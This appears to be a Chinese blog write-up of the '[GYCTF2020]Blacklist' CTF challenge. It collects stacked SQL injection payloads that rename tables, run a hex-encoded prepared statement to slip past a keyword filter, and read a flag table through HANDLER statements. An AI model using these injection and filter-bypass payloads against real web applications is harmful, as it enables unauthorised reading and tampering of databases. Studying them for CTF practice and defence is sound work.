[GYCTF2020]Blacklist

这题是用堆叠注入,同时也是借这题记录一下CTF中堆叠注入的一些骚操作

以下部分内容转载大佬的文章

show databases;   获取数据库名
show tables;  获取表名
show columns from `table_name`; 获取列名

 

绕过技巧

1、修改表名

用 “[强网杯 2019]随便注” 为例, 这里有两个表,一个是 ’ 1919810931114514 ‘ ,还有一个是’words‘ , words表中有id和data两个字段,1919810931114514表中有flag的字段

因为可以看到回显是两个数据,猜测应该是words表

推测 内部语句应该是

select  id,data from words where id='$id'

那么骚操作开始了,有点像偷天换日的意思

1、将words表名替换成其他的

2、然后将 `1919810931114514` 这个表名称替换成words

3、在把flag这个字段替换成data

4、最后再插入一个id字段

最终的查询结果就可以输出我们构造的新的words了

 payload 如下

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

最后用  1' or 1=1#   把flag打印出来

 

2、预编译

依旧是以“[强网杯 2019]随便注”  为例,先构造一个sql语句,然后执行它,payload转化成16进制绕过waf

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

 

3、HANDLER

以 ”[GYCTF2020]Blacklist“ 为例,因为前面关键字都被禁用了,所以前面的payload都无效了

但是这里还有一种新姿势,参考官方文档

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

 

posted @ 2020-03-03 13:13  高诺琪  阅读(4751)  评论(0编辑  收藏  举报